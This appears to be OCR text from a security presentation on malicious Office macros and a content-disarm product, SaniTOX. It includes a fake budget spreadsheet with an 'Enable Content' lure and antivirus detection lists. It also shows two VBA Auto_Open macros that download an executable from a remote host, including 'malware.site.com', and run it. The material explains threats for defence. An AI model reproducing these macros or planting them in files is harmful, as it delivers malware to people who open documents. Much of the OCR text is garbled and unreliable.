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To view this content, please click "Enable Editing" form the yellow bar and then click
"Enable Content"
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Detection
AegisLab AhnlLab-V3
AlYac Antiy-AVL
Avast AVG
CAT-QuickHeal ClamAv
Comodo Cyren
Driveb ESET-NOD32
GData Ikarus
Kaspersky MAX
McAfee McAfee-GW-Edition
Microsoft nProtect

Qihoo-360 Sophos AV
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MS Office Macro

Heome

Arial

D|F Q& -VES-A-FEE

Insert Page Layout Formulas Data Review View

=1 Wrap Text

Developer

=] Merge & Center

BUDGEX - Budget Generator Vs1.00 |

01-01

IMonths
Cuarters

Iy Company
201

21-03-20

Doesn't work? Click Here
Company Name
7 Starting Date
i End Date

Run

HTERIETTL Reset Income / Cosis Lists

SubTotals Every
HELP using this macro,

Budget Pers lization

Click here to PERSONALIZE your Budqet {Fonts, Colors, Labels. ...}

income

Add-Ins
General

a3 . oo

Conditicnal
Formatting

e] - Micr

L
Cell
Styles

157}
Format
as Table

Office Tutorials & Software Solutions

Specializing in Advanced Spreadsheet &
Ofice Macro Solutions

@ 2009 OfficeHelp

]
+Em

H

Insert

Costs
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Delete Format

osoft Excel

i AR
Sort &  Find &
Filter = Select

QOperational (Recurrent) Income

Other Income {Non-Recurrent)

Fixed Costs {Oper

Overheads {(Non-Oper

Enter Details for Each Product on Sale

Enter income Type Mames

Enter Item Names

Enter Category and lfem

Unit

Price| Discount Price| [Name
=

HName

HName

Category Item

Resellers

Hosting

Administrative  [Accounting

Product 1
Froduct 2

Advertising

Financial

Iarketing tising

Produ

Financial

Iailings

Product 4

Staff

Indemnities

Produ

Produ

Froduct 7

Froduct 8

Froduct@

Praduct 10
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Input

Ready
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Macro Threat

Private Declare Function URLDownloadToFileA Lib "urlmon” _
(ByVal NRTMLM As Long, ByVal UUQCES As String, _

ByVal VKDDKH As String, ByVal XXRYIY As Long, _

ByVal RPBFSI As Long) As Long

Sub Workbook_Open() URLMON.dIl

Auto_Open
End Sub

Sub Auto_Open()
Dim riri As Long
fifi = Environ("TEMP") & "\agent.exe"
riri = URLDownloadToFileA(O, _
"http://malware.site.com/TH & | O.exe", _
fifi, 0, 0)
loulou = Shell(fifi, 1)

End Sub
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Embedded Object Threat

Setup and Install

. Open program icon: _ |

. Select Microsoft Exchange click Next

. Type in email address and password click next
. Type in the domain\username.

. Next screen Account options are default and
should be left that way

. Select Activate and you’re done

Please see the attached document for more detailed
instructions with photos.

* Z£X : Firekye
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Anti-Virus Scanning Test

10 engines detected this file

10/59

Detection
Antiy-AVL 1[Dowr tAGen Arcabit
Avast VBA:Do t AVG
Baidu v z t.bv Fortinet
Kaspersky EUF n-Dov tGen NANO-Antivirus
Rising A R ) ZoneAlarm
Ad-Aware / AegisLab
AhnLab-v3 (v Alibaba
AlYac [V Avira
AVware ¢ BitDefender
Bkav CAT-QuickHeal
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CDR 7|= 744

45 Isec2017_sample_macro - NewMacros (2E)
(2uh

AutoOpen

=

ofE|= FEX HHE Foto 1Y Soist

& Isec2017_sample_macro - NewMacros (2 E)

(28h

BinaryStream.Open
BinaryStream.Write ByteArray

e binary data to disk
End Function

htte stackoverf |ow.com/quest ions
Function DownloadFile(FileN url)
Dim htt

http.Open "GET", Url, False

13056 means ignore s
http.setOption 13056
http.Send

gn
2,

End Function

Sub AutoOpen()
AutoOpen Macro

Dim proclD 4s Integer
Dim curPath As String

cnd = curPath & "Smalware.exe”
prociD = Shell{cnd, vbNormalFocus)

End Sub

p
Set http = CreateObject( "MSXML2.ServerXMLHTTP")

BinaryStrean.SaveToF ile FileNane, adSaveCreateOverlirite

5907089/how-to-post -ht tps-request-using-vbscript

‘Macro/Script
‘Embedded Object
‘Etc.

[

AutoOpen

Macro/Script/Embedded
Object, Etc. ZAf Lff=29f
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Inbound Me=ssages

Anti-spam

File type blacklist/whitelist

Signature-based
anti-malware

Continuity
Archiving
Email Encryption

Ckata Loes Presvention

Legitimate
wilh rewritten URLs, w
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Anti-Virus Engine,
1X} Known Threat & E 2!
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2Kt Unknown Threat
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o HZMAUFIP)  * Image(IPG, JPEG, GIF, BMP, PNG, TIF, TIFF)

MS Office 2003 MS Office 2007+

JavaScript
Macro
Flash
OLE Object
Active X
Embedded Doc
Hyperlink

Attachments

MS Office, e

Y 2R mAR2E




SaniTOX O &2 AMH|A

2 SaniTOX

=] o}

—

=
=&l

SaniTOX+—= CDR({(Content Disarm and Reconstruction,
= 2H AHlAHok=
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> docfdocy/docm, xls/xIsx/xlsm. ppt/ppbty pptm, pdf, hwp
lavaScript, OLE Object, Embedded File, etc.
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